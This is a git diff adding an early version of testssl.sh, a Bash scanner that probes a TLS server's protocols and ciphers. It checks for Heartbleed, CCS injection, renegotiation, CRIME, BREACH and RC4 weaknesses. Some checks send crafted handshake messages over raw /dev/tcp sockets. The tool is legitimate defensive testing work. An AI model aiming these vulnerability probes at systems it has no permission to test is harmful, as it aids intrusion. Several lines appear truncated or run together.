-ssl2 SSLv2\n -ssl3 SSLv3\n -tls1 TLSv1\n -tls1_1 TLSv1.1\n -tls1_2 TLSv1.2"| while read proto prtext; do + locally_supported "$proto" "$prtext" || continue + outln + $OPENSSL ciphers $proto -V 'ALL:COMPLEMENTOFALL:@STRENGTH' | while read hexcode n ciph sslvers kx auth enc mac export; do + $OPENSSL s_client -cipher $ciph $proto $STARTTLS -connect $NODEIP:$PORT $SNI &>$TMPFILE &1 | grep -q "unknown option" + if [ $? -eq 0 ]; then + magenta "Local problem: $OPENSSL doesn't support \"s_client $1\"" + return 7 + else + return 0 + fi +} + +testversion_new() { + $OPENSSL s_client -state $1 $STARTTLS -connect $NODEIP:$PORT $SNI &>$TMPFILE Testing Protocols"; outln "\n" + # e.g. ubuntu's 12.04 openssl binary + soon others don't want sslv2 anymore: bugs.launchpad.net/ubuntu/+source/openssl/+bug/955675 + # Sonderlocke hier #FIXME kann woanders auch auftauchen! + testprotohelper -ssl2 " SSLv2 " + ret=$?; + if [ $ret -ne 7 ]; then + if [ $ret -eq 0 ]; then + ok 1 1 # red + else + ok 0 1 # green "not offered (ok)" + fi + fi + + if testprotohelper -ssl3 " SSLv3 " ; then + ok 3 0 # brown "offered" + else + ok 0 1 # green "not offered (ok)" + fi + + if testprotohelper "-tls1" " TLSv1 "; then + ok 1 0 + else + ok 0 0 + fi + + if testprotohelper "-tls1_1" " TLSv1.1 "; then + ok 1 0 + else + ok 0 0 + fi + + if testprotohelper "-tls1_2" " TLSv1.2 "; then + ok 1 0 + else + ok 0 0 + fi + return 0 +} + +run_std_cipherlists() { + outln + blue "--> Testing standard cipher lists"; outln "\n" +# see man ciphers + std_cipherlists NULL:eNULL " Null Cipher " 1 + std_cipherlists aNULL " Anonymous NULL Cipher " 1 + std_cipherlists ADH " Anonymous DH Cipher " 1 + std_cipherlists EXPORT40 " 40 Bit encryption " 1 + std_cipherlists EXPORT56 " 56 Bit encryption " 1 + std_cipherlists EXPORT " Export Cipher (general) " 1 + std_cipherlists LOW " Low (<=64 Bit) " 1 + std_cipherlists DES " DES Cipher " 1 + std_cipherlists 3DES " Triple DES Cipher " 2 + std_cipherlists "MEDIUM:!NULL:!aNULL:!SSLv2" " Medium grade encryption " 2 + std_cipherlists "HIGH:!NULL:!aNULL" " High grade encryption " 0 + return 0 +} + +simple_preference() { + outln + blue "--> Testing server defaults (Server Hello)"; outln "\n" + # throwing every cipher/protocol at the server and displaying its pick + $OPENSSL s_client $STARTTLS -connect $NODEIP:$PORT $SNI -tlsextdebug /dev/null >$TMPFILE + localtime=`date "+%s"` + if [ $? -ne 0 ]; then + magentaln "This shouldn't happen. " + ret=6 + else + out " Negotiated protocol " + TLS_PROTO_OFFERED=`grep -w "Protocol" $TMPFILE | sed -e 's/^ \+Protocol \+://' -e 's/ //g'` + case "$TLS_PROTO_OFFERED" in + *TLSv1.2) greenln $TLS_PROTO_OFFERED ;; + *TLSv1.1) litegreenln $TLS_PROTO_OFFERED ;; + *TLSv1) outln $TLS_PROTO_OFFERED ;; + *SSLv2) redln $TLS_PROTO_OFFERED ;; + *SSLv3) brownln $TLS_PROTO_OFFERED ;; + *) outln "FIXME: $TLS_PROTO_OFFERED" ;; + esac + + out " Negotiated cipher " + default=`grep -w "Cipher" $TMPFILE | egrep -vw "New|is" | sed -e 's/^ \+Cipher \+://' -e 's/ //g'` + case "$default" in + *NULL*|*EXP*) redln "$default" ;; + *RC4*) literedln "$default" ;; + *CBC*) literedln "$default" ;; #FIXME BEAST: We miss some CBC ciphers here, need to work w/ a list + *GCM*) litegreenln "$default" ;; # best ones + ECDHE*AES*) brownln "$default" ;; # it's CBC. so lucky13 + *) outln "$default" ;; + esac + outln + + out " Server key size " + keysize=`grep -w "^Server public key is" $TMPFILE | sed -e 's/^Server public key is //'` + if [ -z "$keysize" ]; then + outln "(couldn't determine)" + else + case "$keysize" in + 1024*) literedln "$keysize" ;; + 2048*) outln "$keysize" ;; + 4096*) litegreenln "$keysize" ;; + *) outln "$keysize" ;; + esac + fi + + out " TLS server extensions: " + extensions=`grep -w "^TLS server extension" $TMPFILE | sed -e 's/^TLS server extension \"//' -e 's/\".*$/,/g'` + if [ -z "$extensions" ]; then + outln "(none)" + else + echo $extensions | sed 's/,$//' # remove last comma + fi + + out " Session Tickets RFC 5077 " + sessticket_str=`grep -w "session ticket" $TMPFILE | grep lifetime` + if [ -z "$sessticket_str" ]; then + outln "(none)" + else + lifetime=`echo $sessticket_str | grep lifetime | sed 's/[A-Za-z:() ]//g'` + unit=`echo $sessticket_str | grep lifetime | sed -e 's/^.*'"$lifetime"'//' -e 's/[ ()]//g'` + outln "$lifetime $unit" + fi + ret=0 + + #gmt_unix_time, removed since 1.0.1f + # + #remotetime=`grep -w "Start Time" $TMPFILE | sed 's/[A-Za-z:() ]//g'` + #if [ ! -z "$remotetime" ]; then + # remotetime_stdformat=`date --date="@$remotetime" "+%Y-%m-%d %r"` + # difftime=`expr $localtime - $remotetime` + # [ $difftime -gt 0 ] && difftime="+"$difftime + # difftime=$difftime" s" + # outln " remotetime? : $remotetime ($difftime) = $remotetime_stdformat" + # outln " $remotetime" + # outln " $localtime" + #fi + #http://www.moserware.com/2009/06/first-few-milliseconds-of-https.html + fi + + rm $TMPFILE + return $ret +} + + +# http://www.heise.de/security/artikel/Forward-Secrecy-testen-und-einrichten-1932806.html +pfs() { + outln + blue "--> Testing (Perfect) Forward Secrecy (P)FS)"; outln +# https://community.qualys.com/blogs/securitylabs/2013/08/05/configuring-apache-nginx-and-openssl-for-forward-secrecy + PFSOK='EECDH+ECDSA+AESGCM EECDH+aRSA+AESGCM EECDH+ECDSA+SHA256 EECDH+aRSA+SHA256 EECDH+aRSA+RC4 EDH+aRSA EECDH RC4 !RC4-SHA !aNULL !eNULL !LOW !3DES !MD5 !EXP !PSK !SRP !DSS:@STRENGTH' +# PFSOK='EECDH+ECDSA+AESGCM EECDH+aRSA+AESGCM EECDH+ECDSA+SHA384 EECDH+ECDSA+SHA256 EECDH+aRSA+SHA384 EECDH' + + $OPENSSL ciphers -V "$PFSOK" >$TMPFILE + if [ $? -ne 0 ] || [ `wc -l $TMPFILE | awk '{ print $1 }' ` -lt 3 ]; then + out "Note: you have the following client side ciphers only for PFS. " + out "Thus it doesn't make sense to test PFS" + cat $TMPFILE + return 1 + fi + savedciphers=`cat $TMPFILE` + [ x$SHOW_LCIPHERS = "xyes" ] && echo "local ciphers available for testing PFS:" && echo `cat $TMPFILE` + + $OPENSSL s_client -cipher 'ECDH:DH' $STARTTLS -connect $NODEIP:$PORT $SNI &>$TMPFILE /dev/null Checking RC4 Ciphers" ; outln + $OPENSSL ciphers -V 'RC4:@STRENGTH' >$TMPFILE + [ x$SHOW_LCIPHERS = "xyes" ] && echo "local ciphers available for testing RC4:" && echo `cat $TMPFILE` + $OPENSSL s_client -cipher `$OPENSSL ciphers RC4` $STARTTLS -connect $NODEIP:$PORT $SNI &>/dev/null /dev/null + ret=$? + if [ $ret -ne 0 ] && [ "$SHOW_EACH_C" -eq 0 ] ; then + continue # no successful connect AND not verbose displaying each cipher + fi + normalize_ciphercode $hexcode + neat_list $HEXC $ciph $kx $enc $strength + if [ "$SHOW_EACH_C" -ne 0 ]; then + [ -r $MAP_RFC_FNAME ] && go2_column 114 + if [ $ret -eq 0 ]; then + litered "available " + else + out "not a/v " + fi + else + bad=1 + out + fi + outln + done + # https://en.wikipedia.org/wiki/Transport_Layer_Security#RC4_attacks + # http://blog.cryptographyengineering.com/2013/03/attack-of-week-rc4-is-kind-of-broken-in.html + outln + outln "RC4 is kind of broken, for e.g. IE6 consider 0x13 or 0x0a" + else + outln + litegreenln "No RC4 ciphers detected (OK)" + bad=0 + fi + + rm $TMPFILE + return $bad +} + + +# good source for configuration and bugs: https://wiki.mozilla.org/Security/Server_Side_TLS +# good start to read: http://en.wikipedia.org/wiki/Transport_Layer_Security#Attacks_against_TLS.2FSSL + + +lucky13() { +#FIXME: to do +# CVE-2013-0169 +# in a nutshell: don't offer CBC suites (again). MAC as a fix for padding oracles is not enough +# best: TLS v1.2+ AES GCM + echo "FIXME" + echo +} + + +spdy(){ + out " SPDY/NPN " + if [ "x$STARTTLS" != "x" ]; then + outln "SPDY is an HTTP protocol" + ret=2 + fi + # first, does the current openssl support it? + $OPENSSL s_client help 2>&1 | grep -qw nextprotoneg + if [ $? -ne 0 ]; then + magenta "Local problem: $OPENSSL cannot test SPDY"; outln + ret=3 + fi + $OPENSSL s_client -host $NODE -port $PORT -nextprotoneg $NPN_PROTOs /dev/null >$TMPFILE + if [ $? -eq 0 ]; then + # we need -a here + tmpstr=`grep -a '^Protocols' $TMPFILE | sed 's/Protocols.*: //'` + if [ -z "$tmpstr" -o "$tmpstr" = " " ] ; then + out "not offered" + ret=1 + else + # now comes a strange thing: "Protocols advertised by server:" is empty but connection succeeded + if echo $tmpstr | egrep -q "spdy|http" ; then + green "$tmpstr" ; out " (advertised)" + ret=0 + else + litemagenta "please check manually, response from server was ambigious ..." + ret=10 + fi + fi + else + litemagenta "handshake failed" + ret=2 + fi + outln + # btw: nmap can do that too http://nmap.org/nsedoc/scripts/tls-nextprotoneg.html + # nmap --script=tls-nextprotoneg #NODE -p $PORT is your friend if your openssl doesn't want to test this + rm $TMPFILE + return $ret +} + +fd_socket() { +# arg doesn't work here + if ! exec 5<> /dev/tcp/$NODEIP/$PORT; then + echo "`basename $0`: unable to make bash socket connection to $NODEIP:$PORT" + return 6 + fi + return 0 +} + +ok_ids(){ + echo + tput bold; tput setaf 2; echo "ok -- something resetted our ccs packets"; tput sgr0 + echo + exit 0 +} + +ccs_injection(){ + # see https://www.openssl.org/news/secadv_20140605.txt + # mainly adapted from Ramon de C Valle's C code from https://gist.github.com/rcvalle/71f4b027d61a78c42607 + bold " CCS "; out " (CVE-2014-0224), experimental " + ccs_message="\x14\x03\tls_version\x00\x01\x01" + + $OPENSSL s_client $STARTTLS -connect $NODEIP:$PORT &>$TMPFILE &1 | grep -wq '^usage' + if [ $? -eq 0 ]; then + magenta "Local problem: Your $OPENSSL cannot run the pretest for this - " + outln "continueing at your own risks" + fi +# we don't need SNI here: + $OPENSSL s_client $STARTTLS -connect $NODEIP:$PORT -tlsextdebug &>$TMPFILE /dev/null + reneg_ok=$? # 0=client is renegotiating and does not gets an error: that should not be! + NEG_STR="Secure Renegotiation IS NOT" + echo "R" | $OPENSSL s_client $STARTTLS -connect $NODEIP:$PORT $SNI 2>&1 | grep -iq "$NEG_STR" + secreg=$? # 0= Secure Renegotiation IS NOT supported + + if [ $reneg_ok -eq 0 ] && [ $secreg -eq 0 ]; then + # Client side renegotiation is accepted and secure renegotiation IS NOT supported + redln "is vulnerable (not ok)" + return 1 + fi + if [ $reneg_ok -eq 1 ] && [ $secreg -eq 1 ]; then + greenln "NOT vulnerable (ok)" + return 0 + fi + if [ $reneg_ok -eq 1 ] ; then # 1,0 + litegreenln "got an error from the server while renegotiating on client: should be ok ($reneg_ok,$secreg)" + return 0 + fi + litegreenln "Patched Server detected ($reneg_ok,$secreg), probably ok" # 0,1 + return 0 +} + +crime() { + # in a nutshell: don't offer TLS/SPDY compression on the server side + # + # This tests for CRIME Vulnerability (www.ekoparty.org/2012/juliano-rizzo.php) on HTTPS, not SPDY (yet) + # Please note that it is an attack where you need client side control, so in regular situations this + # means anyway "game over", w/wo CRIME + # www.h-online.com/security/news/item/Vulnerability-in-SSL-encryption-is-barely-exploitable-1708604.html + + ADDCMD="" + case "$OSSL_VER" in + # =< 0.9.7 was weeded out before + 0.9.8) + ADDCMD="-no_ssl2" ;; + 0.9.9*|1.0*) + ;; + esac + + bold " CRIME, TLS " ; out "(CVE-2012-4929) " + + # first we need to test whether OpenSSL binary has zlib support + $OPENSSL zlib -e -a -in /dev/stdin &>/dev/stdout &1 /dev/null; then + greenln "NOT vulnerable (ok) " + ret=0 + else + redln "is vulnerable (not ok)" + ret=1 + fi + +# this needs to be re-done i order to remove the redundant check for spdy + + # weed out starttls, spdy-crime is a web thingy +# if [ "x$STARTTLS" != "x" ]; then +# echo +# return $ret +# fi + + # weed out non-webports, spdy-crime is a web thingy. there's a catch thoug, you see it? +# case $PORT in +# 25|465|587|80|110|143|993|995|21) +# echo +# return $ret +# esac + +# $OPENSSL s_client help 2>&1 | grep -qw nextprotoneg +# if [ $? -eq 0 ]; then +# $OPENSSL s_client -host $NODE -port $PORT -nextprotoneg $NPN_PROTOs $SNI /dev/null >$TMPFILE +# if [ $? -eq 0 ]; then +# echo +# bold "CRIME Vulnerability, SPDY \c" ; outln "(CVE-2012-4929): \c" + +# STR=`grep Compression $TMPFILE ` +# if echo $STR | grep -q NONE >/dev/null; then +# green "NOT vulnerable (ok)" +# ret=`expr $ret + 0` +# else +# red "is vulnerable (not ok)" +# ret=`expr $ret + 1` +# fi +# fi +# fi + [ $VERBERR -eq 0 ] && outln "$STR" + #echo + return $ret +} + +beast(){ + #FIXME: to do +#in a nutshell: don't use CBC Ciphers in TLSv1.0 +# need to provide a list with bad ciphers. Not sure though whether +# it can be fixed in the OpenSSL/NSS/whatsover stack + return 0 +} + +youknowwho() { +# CVE-2013-2566, +# NOT FIXME as there's no code: http://www.isg.rhul.ac.uk/tls/ +# http://blog.cryptographyengineering.com/2013/03/attack-of-week-rc4-is-kind-of-broken-in.html +return 0 +# in a nutshell: don't use RC4, really not! +} + +old_fart() { + magentaln "Your $OPENSSL $OSSL_VER version is an old fart..." + magentaln "Get the precompiled bins, it doesn\'t make much sense to proceed" + exit 3 +} + +find_openssl_binary() { +# 0. check environment variable whether it's executable + if [ ! -z "$OPENSSL" ] && [ ! -x "$OPENSSL" ]; then + redln "\ncannot execute specified ($OPENSSL) openssl binary." + outln "continuing ..." + fi + if [ -x "$OPENSSL" ]; then +# 1. check environment variable + : + else +# 2. otherwise try openssl in path of testssl.sh + OPENSSL=$RUN_DIR/openssl + if [ ! -x $OPENSSL ] ; then +# 3. with arch suffix + OPENSSL=$RUN_DIR/openssl.`uname -m` + if [ ! -x $OPENSSL ] ; then +#4. finally: didn't fiond anything, so we take the one propably from system: + OPENSSL=`which openssl` + fi + fi + fi + + # http://www.openssl.org/news/openssl-notes.html + OSSL_VER=`$OPENSSL version | awk -F' ' '{ print $2 }'` + OSSL_VER_MAJOR=`echo "$OSSL_VER" | sed 's/\..*$//'` + OSSL_VER_MINOR=`echo "$OSSL_VER" | sed -e 's/^.\.//' | sed 's/\..*.//'` + OSSL_VER_APPENDIX=`echo "$OSSL_VER" | tr -d '[0-9.]'` + OSSL_BUILD_DATE=`$OPENSSL version -a | grep '^built' | sed -e 's/built on//' -e 's/: ... //' -e 's/: //' -e 's/ UTC//' -e 's/ +0000//' -e 's/.000000000//'` + echo $OSSL_BUILD_DATE | grep -q "not available" && OSSL_BUILD_DATE="" + export OPENSSL OSSL_VER OSSL_BUILD_DATE + case "$OSSL_VER" in + 0.9.7*|0.9.6*|0.9.5*) + # 0.9.5a was latest in 0.9.5 an released 2000/4/1, that'll NOT suffice for this test + old_fart ;; + 0.9.8) + case $OSSL_VER_APPENDIX in + a|b|c|d|e) old_fart;; # no SNI! + esac + ;; + esac + if [ $OSSL_VER_MAJOR -lt 1 ]; then ## mm: libressl patch + magentaln " at your own risk. $OPENSSL version < 1.0 is too old for this program" + read a + fi + return 0 +} + + +find_nc_binary() { +## FIXME: only the openbsd netcat understands IPv6 addresses! ==> bash sockets? + NC=`which netcat 2>/dev/null` + if [ "$?" -ne 0 ]; then + NC=`which nc 2>/dev/null` + if [ "$?" -ne 0 ]; then + outln "sorry. No netcat found, bye." + return 1 + fi + fi + return 0 +} + +starttls() { + protocol=`echo "$1" | sed 's/s$//'` # strip trailing s in ftp(s), smtp(s), pop3(s), imap(s) + case "$1" in + ftp|smtp|pop3|imap|xmpp|telnet) + $OPENSSL s_client -connect $NODEIP:$PORT $SNI -starttls $protocol $TMPFILE 2>&1 + ret=$? + if [ $ret -ne 0 ]; then + bold "Problem: $OPENSSL couldn't estabilish STARTTLS via $protocol"; outln + cat $TMPFILE + return 3 + else +# now, this is lame: normally this should be handled by top level. Then I need to do proper parsing +# of the cmdline e.g. with getopts. + STARTTLS="-starttls $protocol" + export STARTTLS + runprotocols ; ret=`expr $? + $ret` + run_std_cipherlists ; ret=`expr $? + $ret` + simple_preference ; ret=`expr $? + $ret` + + outln; blue "--> Testing specific vulnerabilities" ; outln "\n" +#FIXME: heartbleed + CCS won't work this way yet +# heartbleed ; ret=`expr $? + $ret` +# ccs_injection ; ret=`expr $? + $ret` + renego ; ret=`expr $? + $ret` + crime ; ret=`expr $? + $ret` + beast ; ret=`expr $? + $ret` + + outln + #cipher_per_proto ; ret=`expr $? + $ret` + allciphers ; ret=`expr $? + $ret` + + rc4 ; ret=`expr $? + $ret` + pfs ; ret=`expr $? + $ret` + fi + ;; + *) outln "momentarily only ftp, smtp, pop3, imap, xmpp and telnet allowed" >&2 + ret=2 + ;; + esac + return $ret +} + + +help() { + PRG=`basename $0` + cat << EOF + +$PRG URI + +where is *one* of + + <-h|--help> what you're looking at + <-b|--banner> displays banner + version + <-v|--version> same as above + <-V|--local> pretty print all local ciphers + <-V|--local> what cipher is ? + + <-e|--each-cipher> check each local ciphers remotely + <-E|-ee|--cipher-per-proto> check those per protocol + <-f|--ciphers> check cipher suites + <-p|--protocols> check TLS/SSL protocols only + <-P|--preference> displays the servers picks: protocol+cipher + <-y|--spdy> checks for SPDY/NPN + <-B|--heartbleed> tests only for heartbleed vulnerability + <-I|--ccs|--ccs_injection> tests only for CCS injection vulnerability + <-R|--renegotiation> tests only for renegotiation vulnerability + <-C|--compression|--crime> tests only for CRIME vulnerability + <-T|--breach> tests only for BREACH vulnerability + <-s|--pfs|--fs|--nsa> checks (perfect) forward secrecy settings + <-4|--rc4|--appelbaum> which RC4 ciphers are being offered? + <-H|--header|--headers> check for HSTS and server banner string + +URI is host|host:port|URL|URL:port + (port 443 is assumed unless otherwise specified) + + <-t|--starttls> host:port *) + + +*) for telnet STARTTLS support you need a/my patched openssl version + + +EOF + return $? +} + + +mybanner() { + me=`basename $0` + osslver=`$OPENSSL version` + osslpath=`which $OPENSSL` + hn=`hostname` + #poor man's ident (nowadays not neccessarily installed) + idtag=`grep '\$Id' $0 | grep -w Exp | grep -v grep | sed -e 's/^# //' -e 's/\$ $/\$/'` + idtagshy="\033[1;30m$idtag\033[m\033[1m" + bb=`cat </dev/null + fi + outln + outln + datebanner "Done" + outln +} + +initialize_engine(){ + if uname -s | grep -q BSD || ! $OPENSSL engine gost -vvvv -t -c 2>&1 >/dev/null; then + litemagenta "No engine or GOST support via engine with your $OPENSSL"; outln "\n" + return 1 + else + if [ -z "$OPENSSL_CONF" ]; then + GOST_CONF=`mktemp /tmp/ssltester.GOST.XXXXXX` || exit 6 + # see https://www.mail-archive.com/openssl-users@openssl.org/msg65395.html + cat >$GOST_CONF << EOF +openssl_conf = openssl_def + +[ openssl_def ] +engines = engine_section + +[ engine_section ] +gost = gost_section + +[ gost_section ] +engine_id = gost +default_algorithms = ALL +CRYPT_PARAMS = id-Gost28147-89-CryptoPro-A-ParamSet + +EOF + export OPENSSL_CONF=$GOST_CONF + else + litemagenta "For now I am providing the config file in to have GOST support"; outln + sleep 2 + outln + fi + fi + return 0 +} + + +ignore_no_or_lame() { + if [ "$WARNINGS" = "off" -o "$WARNINGS" = "false" ]; then + return 0 + fi + outln + out "$1 " + read a + case $a in + Y|y|Yes|YES|yes) + return 0;; + default) + ;; + esac + + return 1 +} + + +parse_hn_port() { + PORT=443 # unless otherwise auto-determined, see below + NODE="$1" + + # strip "https" and trailing urlpath supposed it was supplied additionally + echo $NODE | grep -q 'https://' && NODE=`echo $NODE | sed -e 's/https\:\/\///'` + + # strip trailing urlpath + NODE=`echo $NODE | sed -e 's/\/.*$//'` + + # was the address supplied like [AA:BB:CC::]:port ? + if echo $NODE | grep -q ']' ; then + tmp_port=`printf $NODE | sed 's/\[.*\]//' | sed 's/://'` + # determine v6 port, supposed it was supplied additionally + if [ ! -z "$tmp_port" ] ; then + PORT=$tmp_port + NODE=`printf $NODE | sed "s/:$PORT//"` + fi + NODE=`printf $NODE | sed -e 's/\[//' -e 's/\]//'` + else + # determine v4 port, supposed it was supplied additionally + echo $NODE | grep -q ':' && PORT=`echo $NODE | sed 's/^.*\://'` && NODE=`echo $NODE | sed 's/\:.*$//'` + fi + SNI="-servername $NODE" + + #URLP=`echo $1 | sed 's/'"${PROTO}"':\/\/'"${NODE}"'//'` + #URLP=`echo $URLP | sed 's/\/\//\//g'` # // -> / + + # now get NODEIP + get_dns_entries + + # check if netcat can connect to port + if find_nc_binary; then + if ! $NC -z -v -w 2 $NODEIP $PORT &>/dev/null; then + ignore_no_or_lame "Supply a correct host/port pair. On $NODEIP:$PORT doesn't seem to be any service. Ignore? " + [ $? -ne 0 ] && exit 3 + fi + fi + + if [ -z "$2" ]; then # for starttls we don't want this check + # is ssl service listening on port? FIXME: better with bash on IP! + $OPENSSL s_client -connect "$NODE:$PORT" $SNI /dev/null 2>&1 + if [ $? -ne 0 ]; then + ignore_no_or_lame "On port $PORT @ $NODE seems a server but not TLS/SSL enabled. Ignore? " + [ $? -ne 0 ] && exit 3 + fi + fi + + datebanner "Testing" + + [ "$PORT" != 443 ] && bold "A non standard port or testing no web servers might show lame reponses (then just wait)\n" + initialize_engine +} + + +get_dns_entries() { + # for security testing sometimes we have local host entries, so getent is preferred + if which getent 2>&1 >/dev/null ; then + getent ahostsv4 $NODE 2>/dev/null >/dev/null + if [ $? -eq 0 ]; then + # Linux, no BSD + key2get=ahostsv4 + else + key2get=hosts + fi + fi + IP4=`getent $key2get $NODE &>/dev/null | grep $NODE | grep -v ':' | awk '{ print $1}' | uniq` + # getent returned nothing: + if [ -z "$IP4" ] ; then + IP4=`host -t a $NODE | grep -v alias | sed 's/^.*address //'` + if echo "$IP4" | grep -q NXDOMAIN ; then + magenta "Can't proceed: No IP resultion from \"$NODE\""; outln "\n" + exit 1 + fi + fi + + # for IPv6 we often get this :ffff:IPV4 address which isn't of any use + #which getent 2>&1 >/dev/null && IP6=`getent ahostsv6 $NODE | grep $NODE | awk '{ print $1}' | grep -v '::ffff' | uniq` + + if [ -z "$IP6" ] ; then + if host -t aaaa $NODE 2>&1 >/dev/null ; then + IP6=`host -t aaaa $NODE | grep -v alias | grep -v "no AAAA record" | sed 's/^.*address //'` + else + IP6="" + fi + fi + + IPADDRs=`echo $IP4` + [ ! -z "$IP6" ] && IPADDRs=`echo $IP4`" "`echo $IP6` + +# FIXME: we could test more than one IPv4 addresses if available, same IPv6. For now we test the first IPv4: + NODEIP=`echo "$IP4" | head -1` + +# we can't do this as some checks are not yet IPv6 safe (sorry!) + #NODEIP=`echo "$IP6" | head -1` + rDNS=`host -t PTR $NODEIP | grep -v "is an alias for" | sed -e 's/^.*pointer //' -e 's/\.$//'` + echo $rDNS | grep -q NXDOMAIN && rDNS=" - " +} + +display_rdns_etc() { + if [ `echo "$IPADDRs" | wc -w` -gt 1 ]; then + out " further IP addresses: " + for i in $IPADDRs; do + [ "$i" == "$NODEIP" ] && continue + out " $i" + done + outln + fi + if [ -n "$rDNS" ] ; then + out " rDNS ($NODEIP):" + out "$rDNS" 26 + outln + fi +} + +datebanner() { + tojour=`date +%F`" "`date +%R` + reverse "$1 now ($tojour) ---> $NODEIP:$PORT ($NODE) <---"; outln + if [ "$1" = "Testing" ] ; then + outln + display_rdns_etc + outln + fi + outln +} + + + +################# main: ################# + + +case "$1" in + -h|--help|-help|"") + help + exit $? ;; +esac + +# auto determine where bins are +find_openssl_binary +mybanner + +#PATH_TO_TESTSSL="$(cd "${0%/*}" 2>/dev/null; echo "$PWD"/"${0##*/}")" +PATH_TO_TESTSSL=`readlink "$BASH_SOURCE"` 2>/dev/null +[ -z $PATH_TO_TESTSSL ] && PATH_TO_TESTSSL="." +MAP_RFC_FNAME=`dirname $PATH_TO_TESTSSL`"/mapping-rfc.txt" # this file provides a pair "keycode/ RFC style name", see the RFCs, cipher(1) + # and https://www.carbonwind.net/TLS_Cipher_Suites_Project/tls_ssl_cipher_suites_simple_table_all.htm + +#FIXME: I know this sucks and getoptS is better + +case "$1" in + -b|--banner|-banner|-v|--version|-version) + exit 0 + ;; + -V|--local) + initialize_engine # GOST support + prettyprint_local "$2" + exit $? ;; + -t|--starttls) + parse_hn_port "$2" "$3" # here comes hostname:port and protocol to signal starttls + maketempf + starttls "$3" # protocol + ret=$? + cleanup + exit $ret ;; + -e|--each-cipher) + parse_hn_port "$2" + maketempf + allciphers + ret=$? + cleanup + exit $ret ;; + -E|-ee|--cipher-per-proto) + parse_hn_port "$2" + maketempf + cipher_per_proto + ret=$? + cleanup + exit $ret ;; + -p|--protocols) + parse_hn_port "$2" + maketempf + runprotocols ; ret=$? + spdy ; ret=`expr $? + $ret` + cleanup + exit $ret ;; + -f|--ciphers) + parse_hn_port "$2" + maketempf + run_std_cipherlists + ret=$? + cleanup + exit $ret ;; + -P|--preference) + parse_hn_port "$2" + maketempf + simple_preference + ret=$? + cleanup + exit $ret ;; + -y|--spdy|--google) + parse_hn_port "$2" + maketempf + spdy + ret=$? + cleanup + exit $? ;; + -B|--heartbleet) + parse_hn_port "$2" + maketempf + outln; blue "--> Testing for heartbleed vulnerability"; outln "\n" + heartbleed + ret=$? + cleanup + exit $? ;; + -I|--ccs|--ccs_injection) + parse_hn_port "$2" + maketempf + outln; blue "--> Testing for CCS injection vulnerability"; outln "\n" + ccs_injection + ret=$? + cleanup + exit $? ;; + -R|--renegotiation) + parse_hn_port "$2" + maketempf + outln; blue "--> Testing for Renegotiation vulnerability"; outln "\n" + renego + ret=$? + cleanup + exit $? ;; + -C|--compression|--crime) + parse_hn_port "$2" + maketempf + outln; blue "--> Testing for CRIME vulnerability"; outln "\n" + crime + ret=$? + cleanup + exit $? ;; + -T|--breach) + parse_hn_port "$2" + maketempf + outln; blue "--> Testing for BREACH (HTTP compression) vulnerability"; outln "\n" + breach + ret=$? + ret=`expr $? + $ret` + cleanup + exit $ret ;; + -4|--rc4|--appelbaum) + parse_hn_port "$2" + maketempf + rc4 + ret=$? + cleanup + exit $? ;; + -s|--pfs|--fs|--nsa) + parse_hn_port "$2" + maketempf + pfs + ret=$? + cleanup + exit $ret ;; + -H|--header|--headers) + parse_hn_port "$2" + maketempf + outln; blue "--> Testing HTTP Header response"; outln "\n" + hsts + ret=$? + serverbanner + ret=`expr $? + $ret` + cleanup + exit $ret ;; + *) + parse_hn_port "$1" + maketempf + + runprotocols ; ret=$? + spdy ; ret=`expr $? + $ret` + run_std_cipherlists ; ret=`expr $? + $ret` + simple_preference ; ret=`expr $? + $ret` + + outln; blue "--> Testing specific vulnerabilities"; outln "\n" + heartbleed ; ret=`expr $? + $ret` + ccs_injection ; ret=`expr $? + $ret` + renego ; ret=`expr $? + $ret` + crime ; ret=`expr $? + $ret` + breach ; ret=`expr $? + $ret` + beast ; ret=`expr $? + $ret` + + outln; blue "--> Testing HTTP Header response"; outln "\n" + hsts ; ret=`expr $? + $ret` + serverbanner ; ret=`expr $? + $ret` + + rc4 ; ret=`expr $? + $ret` + pfs ; ret=`expr $? + $ret` + + cleanup + exit $ret ;; +esac + +# $Id: testssl.sh,v 1.112 2014/07/16 16:54:10 dirkw Exp $ +# vim:ts=5:sw=5 + + diff --git a/testssl.sh.asc b/testssl.sh.asc new file mode 100644 index 0000000..31c21f7 --- /dev/null +++ b/testssl.sh.asc @@ -0,0 +1,7 @@ +-----BEGIN PGP SIGNATURE----- +Version: GnuPG v2.0.22 (GNU/Linux) + +iD8DBQBUP5Z+WZzt6LgYwDkRAoMnAJ4tITkta6Qz/Lyw+LvoHCOKQQO4fwCgzPV5 +W5F4cDr8NG/Qt5Kq839BNHU= +=PNxH +-----END PGP SIGNATURE----- -- cgit v1.2.3